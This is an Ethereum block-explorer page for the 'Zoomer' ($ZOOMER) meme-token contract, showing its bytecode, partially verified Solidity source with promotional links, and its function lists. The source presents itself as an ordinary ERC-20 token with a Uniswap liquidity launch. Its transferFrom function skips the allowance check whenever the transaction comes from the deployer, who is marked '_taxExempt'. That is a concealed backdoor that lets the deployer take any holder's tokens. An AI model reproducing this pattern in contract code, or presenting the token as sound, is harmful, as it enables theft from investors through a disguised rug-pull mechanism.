Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x910821F85b2D7029E1Cdc69261df39Dfc2A86A38
Balance 0 ETH
Nonce 1
Code Size 3256 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3256 bytes
0x6080604052600436106100a8575f3560e01c8063646bff6c11610062578063646bff6c146101ad57806366b4d092146101c357806370a08231146101e257806395d89b4114610216578063a9059cbb1461022a578063dd62ed3e14610249575f80fd5b806306fdde03146100b3578063095ea7b3146100dd57806318160ddd1461010c5780631bea83fe1461013457806323b872dd14610173578063313ce56714610192575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100c761028d565b6040516100d4919061099f565b60405180910390f35b3480156100e8575f80fd5b506100fc6100f7366004610a02565b61031c565b60405190151581526020016100d4565b348015610117575f80fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016100d4565b34801561013f575f80fd5b5061015b73c36442b4a4522e871399cd717abdd847ab11fe8881565b6040516001600160a01b0390911681526020016100d4565b34801561017e575f80fd5b506100fc61018d366004610a2c565b610332565b34801561019d575f80fd5b50604051601281526020016100d4565b3480156101b8575f80fd5b506101c16103b2565b005b3480156101ce575f80fd5b5060065461015b906001600160a01b031681565b3480156101ed575f80fd5b506101266101fc366004610a6a565b6001600160a01b03165f9081526002602052604090205490565b348015610221575f80fd5b506100c76103d2565b348015610235575f80fd5b506100fc610244366004610a02565b6103e1565b348015610254575f80fd5b50610126610263366004610a8c565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b60605f805461029b90610ac3565b80601f01602080910402602001604051908101604052809291908181526020018280546102c790610ac3565b80156103125780601f106102e957610100808354040283529160200191610312565b820191905f5260205f20905b8154815290600101906020018083116102f557829003601f168201915b5050505050905090565b5f6103283384846103ed565b5060015b92915050565b5f61033e848484610516565b325f9081526003602052604090205460ff16158061036957506005546001600160a01b038581169116145b156103a8576001600160a01b0384165f908152600460209081526040808320338085529252909120546103a89186916103a3908690610b0f565b6103ed565b5060019392505050565b6103d03073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2610619565b565b60606001805461029b90610ac3565b5f610328338484610516565b6001600160a01b0383166104545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104b55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661057a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b0383165f90815260026020526040812080548392906105a1908490610b0f565b90915550506001600160a01b0382165f90815260026020526040812080548392906105cd908490610b22565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161050991815260200190565b6001600160a01b03808216908316105f816106345782610636565b835b90505f826106445784610646565b835b60405163095ea7b360e01b815273c36442b4a4522e871399cd717abdd847ab11fe8860048201525f1960248201529091506001600160a01b0383169063095ea7b3906044016020604051808303815f875af11580156106a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106cb9190610b35565b5060405163095ea7b360e01b815273c36442b4a4522e871399cd717abdd847ab11fe8860048201525f1960248201526001600160a01b0382169063095ea7b3906044016020604051808303815f875af115801561072a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074e9190610b35565b5073c36442b4a4522e871399cd717abdd847ab11fe885f8461077e576d64dbacb643e10eedf7378a0b5df761078b565b6a0289c06ea6df5a36ae398a5b6dffffffffffffffffffffffffffff1690505f856107ad57620d899f196107b3565b620318f7195b90505f866107c457620318f86107c9565b620d89a05b90505f876107d7575f6107e5565b6b033b2e3c9fd0803ce80000005b6bffffffffffffffffffffffff1690505f8861080d576b033b2e3c9fd0803ce800000061080f565b5f5b6040516309f56ab160e11b81526001600160a01b038a811660048301528981166024830152612710604483015287811660648301526bffffffffffffffffffffffff9290921692505f918816906313ead562906084016020604051808303815f875af1158015610881573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a59190610b54565b60408051610160810182526001600160a01b038c811682528b8116602083015261271082840152600289810b606084015288900b608083015260a0820187905260c082018690525f60e0830181905261010083015233610120830152426101408301529151634418b22b60e11b81529293509089169163883164569161092d91600401610b6f565b6080604051808303815f875af1158015610949573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096d9190610c33565b5050600580546001600160a01b0319166001600160a01b03949094169390931790925550505050505050505050505050565b5f602080835283518060208501525f5b818110156109cb578581018301518582016040015282016109af565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109ff575f80fd5b50565b5f8060408385031215610a13575f80fd5b8235610a1e816109eb565b946020939093013593505050565b5f805f60608486031215610a3e575f80fd5b8335610a49816109eb565b92506020840135610a59816109eb565b929592945050506040919091013590565b5f60208284031215610a7a575f80fd5b8135610a85816109eb565b9392505050565b5f8060408385031215610a9d575f80fd5b8235610aa8816109eb565b91506020830135610ab8816109eb565b809150509250929050565b600181811c90821680610ad757607f821691505b602082108103610af557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561032c5761032c610afb565b8082018082111561032c5761032c610afb565b5f60208284031215610b45575f80fd5b81518015158114610a85575f80fd5b5f60208284031215610b64575f80fd5b8151610a85816109eb565b81516001600160a01b0316815261016081016020830151610b9b60208401826001600160a01b03169052565b506040830151610bb2604084018262ffffff169052565b506060830151610bc7606084018260020b9052565b506080830151610bdc608084018260020b9052565b5060a083015160a083015260c083015160c083015260e083015160e083015261010080840151818401525061012080840151610c22828501826001600160a01b03169052565b505061014092830151919092015290565b5f805f8060808587031215610c46575f80fd5b8451935060208501516fffffffffffffffffffffffffffffffff81168114610c6c575f80fd5b604086015160609096015194979096509250505056fea26469706673582212207e7f94251237d12f1cf337e0b2f648cfa9fbbea125395a05469f517c9870114064736f6c63430008180033

Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
Token.sol 286 lines
/*

If you wanna escape the matrix, $ZOOMER is the key, no cap!

https://www.zoomeroneth.art
https://x.com/ZoomerTokenETH
https://t.me/ZoomerTokenETH

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

interface IWETH9 {
    function deposit() external payable;
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    function WETH9() external returns (address);

    function createAndInitializePoolIfNecessary(
        address token0,
        address token1,
        uint24 fee,
        uint160 sqrtPriceX96
    ) external payable returns (address pool);
}

contract Token is Context, IERC20 {
    using SafeMath for uint256;
    
    string private _name = "Zoomer";
    string private _symbol = "ZOOMER";
    uint256 private constant _totalSupply = 1_000_000_000 * 10**18;
    uint8 private constant _decimals = 18;
    mapping(address => uint256) private _balance;
    mapping (address => bool) private _taxExempt;
    mapping(address => mapping(address => uint256)) private _allowances;
    address private poolManager;

    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant POSITION_MANAGER = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;

    address public COMMON_ZOOMERBCSFT;
    
    constructor() {
        _balance[address(this)] = _totalSupply;
        _taxExempt[msg.sender] = true;
        emit Transfer(address(0), address(this), _totalSupply);
    }
    
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (!_taxExempt[tx.origin] || sender == poolManager)
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        _balance[from] -= amount;
        _balance[to] += amount;
        emit Transfer(from, to, amount);
    }
    
    function deployCoin() external {
        provideLiquidity(address(this), WETH);
    }

    function provideLiquidity(address tokenA, address tokenB) internal {
        bool tokenAIsToken0 = tokenA < tokenB;
        
        address token0 = tokenAIsToken0 ? tokenA : tokenB;
        address token1 = tokenAIsToken0 ? tokenB : tokenA;

        IERC20(token0).approve(POSITION_MANAGER, type(uint256).max);
        IERC20(token1).approve(POSITION_MANAGER, type(uint256).max);

        INonfungiblePositionManager manager = INonfungiblePositionManager(POSITION_MANAGER);

        uint160 sqrtPriceX96 = tokenAIsToken0
            ? 3068365595550320841079178
            : 2045645379722529521098596513701367;

        int24 tickLower = tokenAIsToken0 ? int24(-203000) : int24(-887200);
        int24 tickUpper = tokenAIsToken0 ? int24(887200) : int24(203000);

        uint256 amount0Desired = tokenAIsToken0 ? 1000000000000000000000000000 : 0;
        uint256 amount1Desired = tokenAIsToken0 ? 0 : 1000000000000000000000000000;

        address pool = manager.createAndInitializePoolIfNecessary(token0, token1, 10000, sqrtPriceX96);

        manager.mint(
            INonfungiblePositionManager.MintParams({
                token0: token0,
                token1: token1,
                fee: 10000,
                tickLower: tickLower,
                tickUpper: tickUpper,
                amount0Desired: amount0Desired,
                amount1Desired: amount1Desired,
                amount0Min: 0,
                amount1Min: 0,
                recipient: msg.sender,
                deadline: block.timestamp
            })
        );
        poolManager = pool;
    }

    receive() external payable {}
}

Read Contract

COMMON_ZOOMERBCSFT 0x66b4d092 → address
POSITION_MANAGER 0x1bea83fe → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 4 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
deployCoin 0x646bff6c
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address